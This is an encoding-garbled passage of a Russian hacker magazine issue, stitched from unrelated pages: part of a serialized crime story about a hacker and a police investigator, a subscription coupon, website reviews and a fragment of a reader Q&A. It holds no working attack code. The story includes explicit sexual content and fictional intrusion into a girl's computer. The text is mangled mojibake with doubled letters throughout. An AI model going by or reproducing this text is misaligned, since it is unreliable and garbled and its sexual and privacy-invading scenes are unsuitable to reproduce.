� êîëëåêöèîíèðîâàòü ôîòêè ñâîèõ ëþáîâíèêîâ.
�×åãî òàì åùå èíòåðåñíîãî åñòü?
�Îòêðîé-êà MY_POETRY.
�ß ëåæàëà íà êðîâàòêå, â îáíèìêó ñ êîòîì. È ïðèøåë, ïðèøåë îí
ïîòîì. È îáíÿë ìåíÿ, îòêèíóâ êîòà. È ÿ ñêàçàëà: «Äà!» � âûðàçè-
òåëüíî ñòàë ÷èòàòü ïåðâûé ñòèõ Ñàíÿ.
Âñå äðóæíî çàñìåÿëèñü, à Ðîìà äàæå ïîïåðõíóëñÿ ïèâîì.
�Ïîõîæå ñ íåé âñå ÿñíî.
�Äà, íå çàâèäóþ åå ñëåäóþùåìó áîéôðåíäó.
Major ïðîâåðèë ñåòåâóþ àêòèâíîñòü íà äåâî÷êèíîì êîìïüþòåðå.
�Áà, äà îíà ñ êåì-òî ñåé÷àñ ÷àòèòñÿ ïî àñüêå! [X
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�Ïîêàçûâàé, ÷åãî æäåøü!
Ñàíÿ îòêðûë ëîã, îáíîâëÿåìûé â ðåàëüíîì âðåìåíè. È âñå ñíîâà
ïðûñíóëè îò ñìåõà. Âíóòðè øåë âèðòóàëüíûé ñåêñ, ïðè÷åì ñ òàêèìè
ïîäðîáíîñòÿìè, êîòîðûì ïîçàâèäóåò ëþáîå ðåàëüíîå ïîðíî.
Îôèöèàíòêà Àíÿ ñ èíòåðåñîì ïîãëÿäûâàëà íà êó÷êó ìîëîäûõ
ðåáÿò, êîòîðûå ñãðóäèëèñü âîêðóã íîóòáóêà è î ÷åì-òî îæèâëåí-
íî øóøóêàëèñü. Îíà óæå ïðèâûêëà ê íèì, íî íå ïîíèìàëà, ÷òî
èíòåðåñíîãî ìîæíî íàõîäèòü â ýòîé æåëåçÿêå. Àíÿ ïàðó ðàç ðà-
áîòàëà â èíòåðíåòå, è äëÿ íåå ýòî áûëî âñå ðàâíî, ÷òî ïîïàñòü
â äæóíãëè. Äà, âîêðóã ìíîãî íåïîíÿòíîãî è ëþáîïûòíîãî, íî
áîëüøå âñåãî õîòåëîñü ïîáûñòðåå âûáðàòüñÿ. Åé áûëî èíòåðåñ-
íî, êàêèå ÷óâñòâà â ñåòåâûõ äæóíãëÿõ èñïûòûâàåò êàìïàíèÿ
ýòèõ ðåáÿò.

Âåðíóâøèñü äîìîé, îí ñåë çà êîìïüþòåð è ïåðâûì äåëîì ïðîâåðèë
ÿùèê. Â ÷èñëå äðóãèõ ñîîáùåíèé áûëà êðàòêîå îïîâåùåíèå, ÷òî
ñêðèïò çàïóùåí. Çíà÷èò, ìåíò ïîëó÷èë åãî ïîñëàíèå.
Îí åùå ðàç ïðîâåðíóë â ìîçãó âñå ñâîè âçëîìû. Íå äîïóñòèë ëè îí
ãäå-òî îøèáêè, íå îñòàâèë ëè ñëåäîâ. Íåò, âñå áûëî ÷èñòî. Êàêèìè
áû ñîîáðàçèòåëüíûìè è ïðîíûðëèâûìè íå áûëè ñëåäîâàòåëü è åãî
ëþäè, èì íå óäàñòñÿ åãî íàéòè. Íè çà 24 ÷àñà, íè çà 24 ãîäà.
Îí çàøåë â ïàïêó Porno, âûáðàë îäèí èç ìóâèêîâ, è çàïóñòèë íà
âîñïðîèçâåäåíèå. Íà ýêðàíå ïîÿâèëàñü ðàçâðàòíàÿ áëîíäèíêà â
ñîïðîâîæäåíèè äâóõ íåãðîâ. Âñêîðå âñå òðîå îñòàëèñü áåç îäåæäû,
îäèí îêàçàëñÿ âïåðåäè, äðóãîé ïðèñòðîèëñÿ ñçàäè. Èç êîëîíîê ðàç-
äàëèñü æåíñêèå ñòîíû.
Îí ïðåäñòàâèë íà ìåñòå áëîíäèíêè îôèöèàíòêó Àíå÷êó èç áàðà è
ñðàçó ïî÷óâñòâîâàë ýðåêöèþ. Íå â ñèëàõ áîëüøå òåðïåòü, îí ðàñ-
ñòåãíóë øèðèíêó.

Ïîêà ìàøèíà ñòîÿëà â ïîñëåðàáî÷åé ïðîáêå, Êèðÿêèí äóìàë. Äî
íåäàâíåãî âðåìåíè îí îòíîñèëñÿ ê Íîñòðàäàìóñó êàê ê î÷åðåäíî-
ìó õàêåðó, êîòîðîãî íóæíî ïîéìàòü. Òåïåðü ýòî äåëî êàñàëîñü åãî
ëè÷íî. Êèðÿêèí ïðåäñòàâèë, êàê äîëæíî áûòü âåñåëèëñÿ õàêåð,
êîãäà âæèâëÿë â åãî êîìïüþòåð ñâîé ñêðèïò. Åñëè åìó íå óäàñòñÿ
ïîéìàòü ýòîãî Íîñòðàäàìóñà, åìó íå÷åãî äåëàòü â îòäåëå. Ñëåäî-
âàòåëü âñïîìíèë ñâîè ñëîâà, ñêàçàííûå ïî òåëåâèçîðó: «Òîëüêî
î÷åíü ãëóïûé ÷åëîâåê ïîïûòàåòñÿ âçëîìàòü êîìïüþòåð ñîòðóäíè-
êà îòäåëà ïî êîìïüþòåðíûì ïðåñòóïëåíèÿì. Îñíîâíàÿ çàäà÷à õà-

êåðà � íå ïîïàñòüñÿ â íàøè ðóêè, íî åñëè êîìó-òî íå òåðïèòñÿ ñ
íàìè ïîçíàêîìèòüñÿ, àòàêîâàòü íàøè êîìïüþòåðû � îòëè÷íûé
ñïîñîá ýòî ñäåëàòü».
Êèðÿêèíà íåîæèäàííî êàê òîêîì óäàðèëî. À ÷òî åñëè õàêåð ñìîòðåë
ýòó ïåðåäà÷ó? È îíà ñòàëà äëÿ íåãî êàê êðàñíàÿ òðÿïêà äëÿ áûêà.
Òà äàìî÷êà èç òóðàãåíòñòâà òîæå âûñòóïàëà ïî R-TV� ìîæåò áûòü
îñòàëüíûõ æåðòâ îí âçÿë îòòóäà æå?
Ñçàäè ïîñëûøàëîñü íåäîâîëüíîå áèáèêàíüå. Çàäóìàâøèñü, Êèðÿ-
êèí íå çàìåòèë, ÷òî ñòîèò íà çåëåíîì ñâåòå, çàäåðæèâàÿ äâèæåíèå.
Âêëþ÷èâ ãàç, îí âûðóëèë ñ ïåðåêðåñòêà è îñòàíîâèë ìàøèíó ó òðà-
òóàðà. Çàòåì âçÿë ìîáèëüíèê è íàáðàë íîìåð ñïðàâî÷íîé.
�Òåëåôîí òåëåêàíàëà R-TV, áóäüòå äîáðû.
Îïåðàòîð ïðîäèêòîâàëà åìó, íîìåð è Êèðÿêèí òóò æå ââåë åãî â òå-
ëåôîíå. Â òðóáêå ïîñëûøàëñÿ ðåçêèé æåíñêèé ãîëîñ:
�Òåëåêàíàë R-TV.
�Çäðàâñòâóéòå. Âàñ áåñïîêîÿò èç îòäåëà ÌÂÄ ïî áîðüáå ñ êîìïü-
þòåðíûìè ïðåñòóïëåíèÿìè. Ñëåäîâàòåëü Âàäèì Êèðÿêèí.
�×åì ìîãó âàì ïîìî÷ü?
�ß õî÷ó ïîëó÷èòü èíôîðìàöèþ.
�Êàêîãî ðîäà èíôîðìàöèþ?
�Ñêàæèòå, çà ïîñëåäíèé ìåñÿö áûëè ëè ó âàñ ñþæåòû, ãäå ôèãóðè-
ðîâàëè ïðîôåññîð ìàòåìàòèêè Ñåðãåé Îâ÷èííèêîâ è ìèíèñòð îáðà-
çîâàíèÿ Äìèòðèé Ïîòàïîâ?
�Ìèíóòó ïîäîæäèòå.
Ìèíóòà çàòÿíóëàñü íà âñå 5, Êèðÿêèí òåðïåëèâî æäàë. Íàêîíåö â
òðóáêå ñíîâà ïîñëûøàëñÿ òîò ñàìûé ãîëîñ.
�Äà, âû ïðàâû. Ó íàñ áûë ñþæåò î äîñòèæåíèÿõ ðóññêèõ ìàòåìàòè-
êîâ 18 àïðåëÿ, ãäå äàâàëîñü âûñòóïëåíèå âàøåãî ïðîôåññîðà, è
ïðåññ-êîíôåðåíöèÿ ñ Ïîòàïîâûì 23 àïðåëÿ.
�Áîëüøîå âàì ñïàñèáî. Âû ìíå î÷åíü ïîìîãëè.
Êèðÿêèí íàæàë îòáîé.
Íó âîò. À ãîâîðÿò, õàêåðû íå ñìîòðÿò òåëåâèçîð. Ïîêà ñëåäîâàòåëü
íå çíàë, ÷òî äàåò åìó ýòà èíôîðìàöèÿ. R-TV õîòü è íîâûé êàíàë, íî
ñìîòðÿò åãî òûñÿ÷è ëþäåé, íå áóäåøü æå ïðîâåðÿòü âñåõ. Âñå æå
Êèðÿêèí íå ñîìíåâàëñÿ, ÷òî ñêîðî âûéäåò íà ñëåä.

Ëàðèñà õîçÿéíè÷àëà íà êóõíå, ïîäîãðåâàÿ ìóæó óæèí. Êèðÿêèí â
ýòî âðåìÿ ïåðåñìàòðèâàë çàïèñü òåëåïåðåäà÷è, â êîòîðîé ó÷àñòâî-
âàë. ×òî-òî íå äàâàëî åìó ïîêîÿ. ×òî-òî áûëî íå òàê, íî ÷òî, îí íå
ìîã ñêàçàòü.
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Æåíà îáúÿâèëà ñ êóõíè, ÷òî óæèí ãîòîâ, è îíè âìåñòå ïåðåêóñèëè.
�À ãäå Ìàøêà? � ñïðîñèë ãëàâà ñåìåéñòâà.
�Îíà óòðîì ïðåäóïðåäèëà, ÷òî çàäåðæèòñÿ. Ó íèõ òàì â õóäîæêå
êàêàÿ-òî ðåïåòèöèÿ. À ó òåáÿ êàê íà ðàáîòå?
�Äà íè÷åãî îñîáåííîãî. Ðåøó äåëî, íàä êîòîðûì ñåé÷àñ ðàáîòàþ,
è, ïîæàëóé, âîçüìó îòïóñê íà ïàðó íåäåëü.
�Ïðàâäà? Ìîæåò, ñúåçäèì êóäà-íèáóäü? ß áû òîæå âçÿëà, ìû òàê
äàâíî íå âûáèðàëèñü íèêóäà èç Ìîñêâû.
�À êóäà òû õî÷åøü?
�Íà ìîðå, â Êðûì. Ñòî ëåò òàì íå áûëà.
�Ñåé÷àñ æå íå ñåçîí?
�Çàòî òàì ÷èñòûé âîçäóõ è ïðèðîäà.
�Íó ÷òî æ, â Êðûì  � òàê â Êðûì.
Íà óëèöå ïîñòåïåííî íà÷èíàëî òåìíåòü, à Ìàøêè âñå íå áûëî. Ëà-
ðèñà óæå íà÷àëà âîëíîâàòüñÿ è õîäèëà êðóãàìè âîêðóã Êèðÿêèíà.
�Íàäî ïîãîâîðèòü ñ ïðåïîäàâàòåëÿìè. Ýòî íîðìàëüíî, äîïîçäíà
äåòåé äåðæàòü? Êàê îíà ñåé÷àñ äîìîé äîáèðàòüñÿ áóäåò? 
�Äà íå âîëíóéñÿ òû, ó íàñ äî÷êà âçðîñëàÿ, íå ïîòåðÿåòñÿ.
Íî ÷åðåç ÷àñ âîëíîâàòüñÿ óæå íà÷àë ñàì Êèðÿêèí.
�ß çâîíþ ïðåïîäàâàòåëüíèöå, � íàêîíåö, íå âûäåðæàë îí.
Íîìåð Àíòîíèíû Ìèõàéëîâíîé áûë ó íèõ â òåëåôîííîé êíèæêå. Íî
êîãäà Êèðÿêèí äîçâîíèëñÿ äî íåå è ñòàë âûÿñíÿòü, ãäå äî÷ü, æåí-
ùèíà ñ óäèâëåíèåì ñêàçàëà, ÷òî Ìàøà äàâíûì-äàâíî óøëà èç õó-
äîæåñòâåííîé øêîëû äîìîé.
�Îíà íå ãîâîðèëà, ÷òî êóäà-òî ñîáèðàåòñÿ çàéòè?
�Íåò, íè÷åãî. Ãîñïîäè Áîæå ìîé, � çàïðè÷èòàëà ó÷èòåëüíèöà.
�Åñëè âäðóã ÷òî-òî ñòàíåò èçâåñòíî � íåìåäëåííî çâîíèòå íàì, �
ïîïðîñèë Êèðÿêèí.
�Êîíå÷íî.

Â îáû÷íûé äåíü Êèðÿêèí íå ñòàë áû ñèëüíî íåðâíè÷àòü. Ìàøêà âïîë-
íå ìîãëà çàäåðæàòüñÿ ó êàêîé-íèáóäü ïîäðóæêè è çàáûòü ïðåäóïðå-
äèòü ðîäèòåëåé. Íà íåå ýòî ïîõîæå. Íî ñåé÷àñ â åãî ãîëîâå áûëî
òîëüêî îäíî � ñëîâà âçëîìùèêà î ãðîçÿùåì åìó íàêàçàíèè. Â ïðàê-
òèêå ñëåäîâàòåëÿ áûëî âñÿêîå. Áûëî òàêîå, ÷òî çàãíàííûé â óãîë
ìåëêèé êàðìàííèê ñòàíîâèëñÿ óáèéöåé, îòïðàâèâøèì íà òîò ñâåò
íåñêîëüêèõ ÷åëîâåê. Êèðÿêèí ïîíÿòèÿ íå èìåë, êòî íà ñàìîì äåëå
Íîñòðàäàìóñ, è íà ÷òî îí ñïîñîáåí. Ìîæåò áûòü, ïîä íàêàçàíèåì îí
ïîäðàçóìåâàë îòíÿòü ó íåãî ñàìîå äîðîãîå, ÷òî ó íåãî åñòü � äî÷ü?
Êèðÿêèí íå ñòàë ðàññêàçûâàòü î ñâîèõ ñòðàøíûõ ïîäîçðåíèÿõ æåíå.
Ëàðèñà îáçâîíèëà ïîäðóæåê Ìàøêè, íî íèêòî èç íèõ íå çíàë, ãäå
îíà. Òîãäà îíà ñòàëà îáçâàíèâàòü áîëüíèöû.
�Ìîæåò, òû ñâîèì ñêàæåøü? � íàêîíåö ñïðîñèëà îíà.
�Åùå íå ïðîøëî 24 ÷àñà. Îíè�
�ß çíàþ, ÷òî íå ïðîøëî, � ïåðåáèëà Ëàðèñà, �Íî ýòî òâîÿ äî÷ü. È
òû, â êîíöå êîíöîâ, òàì íå ïîñëåäíèé ÷åëîâåê.
Æåíà áûëà ïðàâà. Ëó÷øå íà÷àòü ïîèñêè ñðàçó, ÷åì ïîòîì ñîæà-
ëåòü, êîãäà îêàæåòñÿ ïîçäíî.
Êèðÿêèí íàáðàë íîìåð ðàéîííîé ìèëèöèè� â ýòîò ìîìåíò ðàçäàë-
ñÿ âõîäíîé çâîíîê. Óâèäåâ íà ïîðîãå äî÷ü, Ëàðèñà íàêèíóëàñü íà
íåå, âûÿñíÿÿ, ãäå òà áûëà, à Êèðÿêèí îáëåã÷åííî âçäîõíóë.
�Ìàì, íó ïðîñòè. Ìû ñ äåâî÷êîé èç õóäîæêè ïîñïîðèëè, êòî ëó÷øå
çàêàò íàðèñóåò�
Ãëÿäÿ íà äî÷ü, Êèðÿêèí äóìàë, ÷òî åìó íóæíî îáÿçàòåëüíî íàéòè
õàêåðà ïðåæäå ÷åì èñòå÷åò âðåìÿ. Êàêèì áû íè áûëî óãîòîâàí-
íîå åìó íàêàçàíèå, íåëüçÿ äîïóñòèòü åãî èñïîëíåíèÿ. Ó íåãî îñ-
òàâàëîñü 14 ÷àñîâ.

Ïðîäîëæåíèå ññëåäóåò
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Êàê îôîðìèòü çàêàç?
1 Çàïîëíèòü êêóïîí èè êêâèòàíöèþ
2 Ïåðå÷èñëèòü ññòîèìîñòü ïïîäïèñêè ÷÷åðåç ÑÑáåðáàíê 
3 Îáÿçàòåëüíî ïïðèñëàòü ââ ððåäàêöèþ êêîïèþ îîïëà÷åííîé êêâèòàíöèè 

ñ ÷÷åòêî ççàïîëíåííûì êêóïîíîì ëëþáûì èèç ïïåðå÷èñëåííûõ ññïîñîáîâ: 
ïî ýëåêòðîííîé ïî÷òå: subscribe@glc.ru; 
ïî ôàêñó: 780.88.24;
ïî àäðåñó: 107031, Ìîñêâà, Äìèòðîâñêèé ïåðåóëîê, ä. 4, 
ñòðîåíèå 2, ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.

ÂÍÈÌÀÍÈÅ!
ïîäïèñêà îôîðìëÿåòñÿ â äåíü îáðàáîòêè êóïîíà è êâèòàíöèè.
êóïîíû, îòïðàâëåííûå ïî ôàêñó èëè ýëåêòðîííîé ïî÷òå, îáðàáàòûâàþòñÿ â òå÷åíèå 5 ðàáî÷èõ äíåé.
êóïîíû, îòïðàâëåííûå ïî÷òîé íà àäðåñ ðåäàêöèè îáðàáàòûâàþòñÿ â òå÷åíèå 20 äíåé.

ÐÅÊÎÌÅÍÄÓÅÌ ÈÑÏÎËÜÇÎÂÀÒÜ ÝËÅÊÒÐÎÍÍÓÞ ÏÎ×ÒÓ ÈËÈ ÔÀÊÑ.

Ïîäïèñêà ïðîèçâîäèòñÿ ñ íîìåðà, âûõîäÿùåãî ÷åðåç îäèí êàëåíäàðíûé ìåñÿö ïîñëå îïëàòû. 
Íàïðèìåð, åñëè ïðîèçâåñòè îïëàòó â ñåíòÿáðå, òî ïîäïèñêó ìîæåíî îôîðìèòü ñ íîÿáðÿ.
ÏÎ ÂÂÑÅÌ ÂÂÎÏÐÎÑÀÌ, ÑÂßÇÀÍÍÛÌ ÑÑ ÏÏÎÄÏÈÑÊÎÉ, ÇÇÂÎÍÈÒÅ ÏÏÎ ÁÁÅÑÏËÀÒÍÛÌ ÒÒÅËÅÔÎÍÀÌ:
935-770-334 (ÄËß ÌÎÑÊÂÈ×ÅÉ) È 8-8800-2200-33-9999 (ÄËß ÐÅÃÈÎÍÎÂ È ÀÁÎÍÅÍÒÎÂ ÌÒÑ, ÁÈËÀÉÍ,
ÌÅÃÀÔÎÍ). ÂÂÑÅ ÂÂÎÏÐÎÑÛ ÏÏÎ ÏÏÎÄÏÈÑÊÅ ÌÌÎÆÍÎ ÏÏÐÈÑÛËÀÒÜ ÍÍÀ ÀÀÄÐÅÑ: IINFO@GLC.RU

Ïîäïèñêà 
äëÿ þðèäè÷åñêèõ ëèö

Ìîñêâà: ÎÎÎ "Èíòåð-Ïî÷òà", 
òåë.: 500-00-60, e-mail: inter-post@sovintel.ru
Ðåãèîíû: ÎÎÎ "Êîðïîðàòèâíàÿ ïî÷òà",
òåë.: 953-92-02, å-mail: kpp@sovintel.ru
Äëÿ ïîëó÷åíèÿ ñ÷åòà íà îïëàòó ïîäïèñ-
êè íóæíî ïðèñëàòü çàÿâêó ñ íàçâàíèåì
æóðíàëà, ïåðèîäîì ïîäïèñêè, áàíêîâñ-
êèìè ðåêâèçèòàìè, þðèäè÷åñêèì è ïî÷-
òîâûì àäðåñîì, òåëåôîíîì è ôàìèëè-
åé îòâåòñòâåííîãî ëèöà çà ïîäïèñêó.
www.interpochta.ru

«Õàêåð»+2 CD
115ð ÇÀ ÍÎÌÅÐ

(ýêîíîìèÿ 30ðóá.*)

690ð ÇÀ 6 ÌÅÑßÖÅÂ 
(ýêîíîìèÿ 180 ðóá.*)

1242ð ÇÀ 12 ÌÅÑßÖÅÂ
(ýêîíîìèÿ 460ðóá.*)

«Õàêåð»+DVD
130ð ÇÀ ÍÎÌÅÐ

(ýêîíîìèÿ 30ðóá.*)

780ð ÇÀ 6 ÌÅÑßÖÅÂ 
(ýêîíîìèÿ 180 ðóá.*)

1404ð ÇÀ 12 ÌÅÑßÖÅÂ
(ýêîíîìèÿ 516 ðóá.*) 

«Õàêåð»+«Õàêåð »
207ð ÇÀ ÍÎÌÅÐ 

(ýêîíîìèÿ 85ðóá.*)

1242ð ÇÀ 6 ÌÅÑßÖÅÂ 
(ýêîíîìèÿ 510 ðóá.*)

2236ð ÇÀ 12 ÌÅÑßÖÅÂ 
(ýêîíîìèÿ 1250 ðóá.*)

Cïåö »
ÇÀÊÀÇ ÆÓÐÍÀËÀ Â ÐÅÄÀÊÖÈÈ

ÇÀÀÊÊÀÀÆÆÈ 

ÆÆÓÐÐÍÀÀËË 

ÂÂ ÐÐÅÄÀÀÊÊÖÖÈÈ 

È ÑÑÝÝÊÊÎÎÍÎÎÌÌÜÜ 

ÄÅÍÜÜÃÃÈ!!!!!!



ÏÏÎÎÄÄÏÏÈÈÑÑÍÍÎÎÉÉ ÊÊÓÓÏÏÎÎÍÍ
Ïðîøó îîôîðìèòü ïïîäïèñêó:
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Ñåðâåð 
òåñòèðîâùèêîâ

http://software-ttesting.ru
Êîãäà-òî äàâíî ðàáîòà òåñòèðîâùèêà ïðîãðàì-
ìíîãî îáåñïå÷åíèÿ áûëà ëèøü óäåëîì äàóíîâ,
êîòîðûå òîëüêî è óìåëè, ÷òî íàæèìàòü îäíó êíîï-
êó. Â íàøå âðåìÿ òåñòèðîâùèê  � ýòî óâàæàåìûé
÷åëîâåê, à ñàìî òåñòèðîâàíèå ñòàëî òàêèì æå
íåïðîñòûì äåëîì, êàê è ïðèêëàäíîå ïðîãðàììè-
ðîâàíèå. Íà ñàéòå ìîæíî íàéòè âñþ èíôîðìàöèþ
ïî òåñòèðîâàíèþ: ñòàòüè, ó÷åáíèêè, îáçîðû,
ññûëêè, íåîáõîäèìûé èíñòðóìåíòàðèé, ïðåäëî-
æåíèÿ ïî ðàáîòå äëÿ òåñòèðîâùèêîâ. Íà ñàéòå
äàæå âûõîäèò e-zine ïîä íàçâàíèåì «Òåñòèðîâà-
íèå è êà÷åñòâî».

Ëåã÷àéøèé 
ïóòü â àññåìáëåð!

http://webster.cs.ucr.edu
Äàííûé ïðîåêò ïðèíàäëåæèò àâòîðó ìíîãèõ áåñò-
ñåëëåðîâ ïî àññåìáëåðó � Ðýíäàëó Õàéäó
(Randall Hyde). Ïðàâäà, ÿ íå çíàþ, ïåðåâîäèëèñü
åãî êíèãè íà ðóññêèé, èëè íåò. Íà ñàéòå, ïîìèìî
èíôîðìàöèè î åãî êíèãàõ, ìîæíî ñêà÷àòü ìíîæå-
ñòâî äîêóìåíòàöèè è îòáîðíûõ òóòîðèàëîâ ïî
ïðîãðàììèðîâàíèþ íà àññåìáëåðå ïîä Windows,
Linux, DOS. Ðàçóìååòñÿ, âñÿ èíôîðìàöèÿ òîëüêî
íà àíãëèéñêîì. Ïðèñóòñòâóþò òàêæå êîå-êàêèå
òóëçû äëÿ àññåìáëåðùèêà, ñàìè àññåìáëåðû è ïð.

Â ïîìîùü 
ñèñàäìèíó

www.networkdoc.ru
Äëÿ òåõ, êòî àäìèíèò íà Win-ïëàòôîðìàõ äàí-
íûé ïðîåêò áóäåò ïðîñòî íåîáõîäèì. Çäåñü âñÿ
ñàìàÿ ïîäðîáíàÿ èíôîðìàöèÿ ïî àäìèíèñòðè-
ðîâàíèþ Windows 2003 è 2000, íàñòðîéêå
Active Directory, Microsoft Exchange, Windows
Script Host (WSH), Microsoft ISA Server,
MDaemon, WinGate, WinRoute è ïð. À òàêæå
RFC, ñëóæåáíûå äîêóìåíòû ÔÀÏÑÈ, Ãîñòåõêî-
ìèññèè Ðîññèè, ÃÎÑÒû, Íîðìàòèâíûå äîêó-
ìåíòû, àêòû. Ïðèñóòñòâóåò íîâîñòíàÿ ëåíòà è
àäìèíñêèé þìîð.

1Ñ Open Source
http://1l.w4b.ru

Äàâíî ó ïðîãðàììèñòîâ âèòàþò â âîçäóõå ìûñëè
ïî ñîçäàíèþ àíàëîãà çíàìåíèòîé 1C íà ñâîáîä-
íîé îñíîâå. È âîò, ñâåðøèëîñü! Òî÷íåå, åùå íå
ñâåðøèëîñü, íî ïðîåêò àêòèâíî ïðîãðåññèðóåò âî
ãëàâå ñ ïðîôåññèîíàëüíîé êîìàíäîé ðàçðàáîò-
÷èêîâ. Íàçûâàòüñÿ íîâûé 1Ñ áóäåò 1L � î÷åâèä-
íî, ïîòîìó ÷òî ñîçäàåòñÿ ïîä Linux. Ñóäÿ ïî òîé
èíôîðìàöèè, ÷òî óêàçàíà íà ñàéòå, ñäåëàíî óæå
íåìàëî, íî êàê è ëþáîìó ïðîåêòó, Open Source
íóæíû åùå ëþäè. Ïîýòîìó, åñëè òû õîðîøî çíà-
êîì êàê ñ 1Ñ, òàê è ñ Linux, òî ïðèñîåäèíÿéñÿ.

Windows Driver
Development 

www.osronline.com
Ýòî, ïîæàëóé, ñàìûé èçâåñòíûé è ñàìûé êðóòîé
ðåñóðñ äëÿ ðàçðàáîò÷èêîâ äðàéâåðîâ ïîä Windows.
Âñå, íà÷èíàÿ îò îñíîâ è çàêàí÷èâàÿ ðàçëè÷íûìè
òîíêîñòÿìè ýòîãî íåïðîñòîãî äåëà. Çäåñü ìîæíî
ñêà÷àòü ìíîæåñòâî ðàçëè÷íûõ òóëç äëÿ ðàçðàáîò-
÷èêîâ è ïðèìåðû äðàéâåðîâ. Åñòü óäîáíûé Online
DDK, ôîðóì è, ðàçóìååòñÿ, ïðåäëîæåíèÿ ïî ðàáî-
òå äëÿ ïðîôåññèîíàëîâ. ×òî-ëèáî åùå ãîâîðèòü
áåññìûñëåííî, ïðîñòî, åñëè òåáÿ èíòåðåñóåò ðàç-
ðàáîòêà äðàéâåðîâ, òî òåáå ïðÿìàÿ äîðîãà ñþäà.
Âñÿ èíôîðìàöèÿ òîëüêî íà àíãëèéñêîì.

Èçîáðåòåíèÿ, 
êîòîðûå ïîòðÿñóò ìèð

www.izobretenija.ru
Ðåñóðñ izobretenija.ru ïðåäñòàâëÿåò ñîáîé ãëî-
áàëüíîå ìåñòî äëÿ ñáîðà èíôîðìàöèè, êàñàþ-
ùåéñÿ ðàçëè÷íûõ èçîáðåòåíèé è èííîâàöèé, ñîá-
ðàííîé ñî âñåãî ìèðà. Íà ñàéòå ðàñïîëîæåí îã-
ðîìíûé àðõèâ ñòàòåé è ôîòîìàòåðèàëîâ äàííîé
òåìàòèêè. Òàêæå ðàññìàòðèâàþòñÿ òàê íàçûâàå-
ìûå «íàðîäíûå èçîáðåòåíèÿ»  � ñîáñòâåííûå
èçîáðåòåíèÿ îáû÷íûõ ëþäåé, ïðèñëàííûå ïîñå-
òèòåëÿìè ñàéòà. Åñëè òû òîæå ïðèäóìàë êàêîé-
íèáóäü èíòåðåñíûé äåâàéñ  � ìîæåøü ñìåëî ïî-
ñûëàòü èíôîðìàöèþ î íåì íà ñàéò . Ëåòàþùèé
àâòîìîáèëü è àâòîìîáèëü-àìôèáèÿ, ïîäâîäíàÿ

àâèàöèÿ, áåñïèëîòíûå ñàìîëåòû, ðîáîòû-àíäðî-
èäû, èíòåëëåêòóàëüíàÿ îäåæäà  � ýòî òîëüêî ìà-
ëàÿ ÷àñòü òîãî, î ÷åì ðàññêàçûâàåò ñàéò. 

Ìîæåò, ïðûãíåì?
www.worldjumpday.org 

Óâàæàåìûå æèòåëè ïëàíåòû Çåìëÿ! Ñïåøó âàñ
ïðåäóïðåäèòü î íàäâèãàþùåìñÿ ïðåèíòåðåñíåé-
øåì ñîáûòèè. 20 èþëÿ 2006 ãîäà íà 11 ÷àñîâ 39
ìèíóò 13 ñåêóíä ïî Ãðèíâè÷ó íàçíà÷åíî âðåìÿ Âñå-
ìèðíîãî ïðûæêà. Èññëåäîâàíèÿ, ïðîâåäåííûå ó÷å-
íûìè, ïîêàçàëè, ÷òî åñëè 600 ìèëëèîíîâ ÷åëîâåê
èç îïðåäåëåííûõ âðåìåííûõ çîí îäíîâðåìåííî
ïðûãíóò, òî íàøà ñ âàìè ëþáèìàÿ ïëàíåòà ïåðåé-
äåò íà äðóãóþ îðáèòó, òåì ñàìûì, óâåëè÷èâ ñâåò-
ëîå âðåìÿ ñóòîê íà îïðåäåëåííûõ åå ÷àñòÿõ. Òàê-
æå, óëó÷øèòñÿ ýêîëîãè÷åñêàÿ îáñòàíîâêà è ñåðüåç-
íî çàìåäëèòñÿ ïðîöåññ ãëîáàëüíîãî ïîòåïëåíèÿ.
Íà ñàéòå óñòàíîâëåí òàéìåð îáðàòíîãî îòñ÷åòà,
ïîêàçûâàþùèé ñêîëüêî âðåìåíè îñòàëîñü äî çíà-
ìåíàòåëüíîãî ñîáûòèÿ. Êîëè÷åñòâî ïðûãàþùèõ íà
âðåìÿ íàïèñàíèÿ îáçîðà áûëî 188.038.191 ÷åëî-
âåê. Òàê ÷òî âñåì áûòü ãîòîâûì ê âûøåóêàçàííîé
äàòå ñîâåðøèòü ìàëåíüêèé øàæîê-ïðûæîê ê ñâåò-
ëîìó áóäóùåìó � íàøåé ñ âàìè ìàòóøêè-Çåìëè :).

Àòû-áàòû, 
êîøàêè-ñîëäàòû

www.petsinuniform.com
×åëîâåê  � ýòî òàêîå ñóùåñòâî, êîòîðîå ïðîñòî íå
ïðåäñòàâëÿåò ñâîåé æèçíè áåç ñîñóùåñòâîâàíèÿ
ðÿäîì ñ ìîõíàòûì, ïóøèñòûì è ëàñêîâûì äðóãîì...
Â âèäå êîøêè èëè ñîáàêè, ðàçóìååòñÿ (à òû î ÷åì
ïîäóìàë?). È êàê òîëüêî íå èçãàëÿþòñÿ ëþáèòåëè
äîìàøíåé æèâíîñòè. Â äàííîì ñëó÷àå ïåðåä òîáîé
ðåñóðñ, êîòîðûé ïðåâðàùàåò ñòàíäàðòíûõ áîáèêîâ
è êîøåê â âîåííûõ çâåðåé, îäåòûõ â óíèôîðìó. Äî-
âîëüíî èíòåðåñíî è ñìåøíî íàáëþäàòü çà òàêèì
çðåëèùåì, ïåðåëèñòûâàÿ íà ñàéòå ôîòêè ïåõîòèí-
öåâ-äîáåðìàíîâ, ñèàìñêèõ ãåíåðàëîâ è òðîãàòåëü-
íûõ ðÿäîâûõ øàðïååâ. Ìîæåøü óáåäèòüñÿ â ýòîì
ñàì, èçó÷èâ ïðåäñòàâëåííûå íà ñàéòå ðàáîòû. À
åñëè çàõî÷åøü òàêîé æå ñëàâû ñâîåìó ÷åòâåðîíî-
ãîìó äðóãó, ñòàíîâèñü êëèåíòîì ýòîãî ðåñóðñà 
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QQ:: ÑÑååéé÷÷ààññ ààêêòòèèââííîî ððààññïïððîîññòòððààííÿÿååòòññÿÿ ññëëóóõõ,, ÷÷òòîî ääîîââîîëëüüííîî ññòòààððûûéé ïïððîîööååññññîîðð
IInntteell PPeennttiiuumm MM,, ïïððååääííààççííàà÷÷ååííííûûéé ääëëÿÿ ííîîóóòòááóóêêîîââ,, ììîîææååòò ááûûòòüü óóññòòààííîîââëëååíí ííàà
îîááûû÷÷ííûûéé PPCC èè ââ ïïððîîèèççââîîääèèòòååëëüüííîîññòòèè îîááûûããððààòòüü òòîîïïîîââûûåå ììîîääååëëèè IInntteell èè AAMMDD..
ÁÁððååää èèëëèè ííààììååêê ííàà ððååààëëüüííîîññòòüü??
